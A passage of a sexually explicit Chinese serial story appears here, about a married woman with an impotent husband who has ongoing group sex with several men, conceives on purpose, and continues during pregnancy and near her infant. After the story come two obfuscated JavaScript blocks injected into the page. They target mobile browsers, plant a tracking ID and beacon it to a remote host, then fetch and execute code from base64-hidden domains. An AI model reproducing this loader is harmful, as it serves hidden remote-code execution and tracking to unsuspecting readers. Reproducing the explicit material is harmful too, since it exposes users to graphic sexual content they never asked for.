“我看,我们就这样分手吧。我不求你原谅我。答应我,把阿莹照顾好。”说着,把存折及印章放在他前面。

“阿菊,这几年的情份都不值得我们珍惜吗?”

不加思索地,我冲到他面前,跪在地上,抱着他的两个膝盖,泣不成声。

“阿玮,相信我。我还是爱你的,我也爱这个家。”

“阿菊,我知道。我已经观察一段日子了。我确定,你不曾因而倒贴男人。我相信你也不会因而收取它们的钱财。所以,我可以确定,这只是个人的需求。所以,我对你还是很遵重。但是,我怕。我很怕有一天,当我回家时,会发现你不辞而别。我会承受不住这个打击的!”

“不会!阿玮,相信我,不会的!”

“但是,事实就是事实。老实说,我很矛盾。你跟阿莹才是我真正拥有的。但是,在你身边,我不能……只会害苦你!想到你还那么年轻。”

“这几年来,我都生活在悔恨与自责中。我的性无能完全由于自己早年时的放浪生活;酒色更淘空了我的身体,就在你怀着阿莹的那一段时候!”

我抬起头来,噙着眼泪,不舍地说:“你应该去看医生的。”

“看过好多次了。反正已经证实,没救了。”轻摇低垂的头,幽幽的说。

“威尔刚?”心头燃起一丝丝希望。

“没有用。”

“阿玮,我说,你不要骂我。就让我们继续维持这样子,好吗?”不知哪来的勇气,我脱口而出。

“……”阿玮两手捧着我的脸,睁大着眼睛看着我。

突然,他把我的头抱在胸前,低声啜泣着。

我们的心,拉得更近,更紧。

事情有了意外的结局。

平时,我们对阿莹呵护有加。而阿玮对她更是关爱备注。只要阿玮在家,阿莹总爱昵着他。今年农历年前,阿玮问宝贝女儿,要什么礼物?阿莹竟不加思索的回答,要一个弟弟或妹妹!听得我们面面相觑。

老实说,我的心也活了起来。用询问的眼神看了看阿玮,他回看了我一眼,淡淡地说:“至少比抱来的来得好些,你自己决定吧!可别搞了个乱七八糟的回来。”

隔了几天,抽个空到妇产科把子宫内避孕器给取了出来。并找来熊仔,说明意图,听得熊仔有点意外。约好先不跟他们两个提。

从此,每周三中午熊仔必到,并且由他先开炮,二、三回合以后再由他们俩个轮番上。

“辛苦”终于有了代价,去四月下旬,妇产科医生证实,我已怀孕!心里的感受非常强烈。此刻,我却担心,阿玮将会如何看待这个小生命?

此后,我依然每周三下午到我们的“快乐之屋”。因为这已经成为我们的例行性聚会。只是,当熊仔知道我有孕之后,才告诉他们消息,并要他们千万不可操得太猛以致影响胎儿。

当然目的已达,此后熊仔也不再像前阵子般每周三都到。只是每当他一来,我还是很喜欢他干我。只是他不许我在生产以前再使用那招令他们欲醉欲仙的“锁阴”特技。

一般都认为,孕妇不宜行房。其实,只要不太激烈,倒是无妨。而且由于子宫里有胎儿的关系,阴道会变得更容易充血,也更敏感。所以操起来,双方都更有快感!

自怀孕四个月以后,由于肚子逐渐变大,为了不压迫到胎儿,我改用俯跪于床上,让他们从后面插入。一直到怀孕八个月左右才停止。

待产期间,除了妇产科的产前检查,我很少再出门。

阿玮也每晚一定赶回家里过夜,顺便料理家务,也是怕我太过劳累。

熊仔他们也三不五时买些补品叫店家顺便送过来。深知街谈巷议的可怕,他们从不在我家附近出现。

左邻右舍间虽没有密切的往来,却也维持着见了面就亲切打招乎的礼貌。是以这段期间,他们每遇到阿玮就道喜并热心询问我肚里宝宝进况。初时,阿玮难免尴尬,诺诺相应。久之也习以为常。再说,他对我却也如以往般的关切。

在我待产、生产以及坐月子期间,陆陆续续发生了切身有关的事……

因为道路扩建,原本是违章的“快乐之屋”被拆了。阿堂及阿杉在稍远的附近另租了一间在三楼的公寓。据熊仔电话里说,那地方比较偏僻,大部分是待售法拍空屋,住户甚少。也因为这样,停车蛮方便的。

另一件事情是,阿堂发生车祸,走了!某一个晚上,他的小发财车在南港附近被一辆过弯失当的大拖车擦撞,送到医院已经奄奄一息。断气前,熊仔刚闻讯赶到。只对熊仔留下一句遗言:“帮忙照顾好阿菊及咱们的孩子。”

他只有一个很少往来的哥哥,摆明了没有能力过问他的事。后事是熊仔一手办的。

当我得到消息时,已是坐完月子后的第一次见面,在阿杉的新居。阿杉仍然保留着阿堂的房间,里面有一张大床。

当时,我不禁大哭出声!熊仔及阿杉也一边流着眼泪。谁说床第间的交情无真心?如今,亲密炮友骤然殒逝,岂不令人怆然?

那天,是我们第一次碰了面却没动家伙的。我们虔诚地为阿堂祭拜了一番。

我们猜测,小灿灿可能是他的。因为他的阴茎特长,射精时又插得特别深。

此后,我还是按时到阿杉那里。我会抱着小灿灿去让他(们)看看--阿莹在幼稚园大班。

我们常常在阿堂的那张大床上干开来。他奸淫我时,我就会想到阿堂的长棍,而小灿灿就放在旁边不远处。

此时,小灿灿往往会在那里自己踢着小腿玩。我想,说不定阿堂正在一边观战,一边逗他玩哩。

熊仔有时候也会来加入我们,我一点也不厌倦他们的轮番戳插。当一个在操我时,另一个则负责照顾小孩。

上个月的某一天,阿玮回家时,很兴奋的告诉我,一泌尿科医师检查过他的身体,认为可以动手术将他的阴茎加粗及加硬到足以顺利行房,但生殖机能否恢复则尚无把握。我极力赞成,更鼓励他做!至少,让他的自尊得以恢复。他,是我丈夫咧!

我也让他们知道这件事。我们有一共同的默契,当阿玮恢复雄风后,这段畸型的恋情就该结束。

我们要阿杉赶快找个对象结婚。因为每周固定狠狠地打一炮几乎已成他的习惯,到时没了我,恐怕不好解决。

“我到哪里再去找一个像小妹那样天赋异禀的淫胚?”阿杉忧心忡忡地。

“你,找死!”我狠狠地朝他裤裆捶了一家伙。

“杉仔,我也一样。但是,你要为阿菊的立场想想。”熊仔一副忍唆不住的样子。


上一篇:我被别人插最好

下一篇:黑天使[未删节][第二集] 下


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};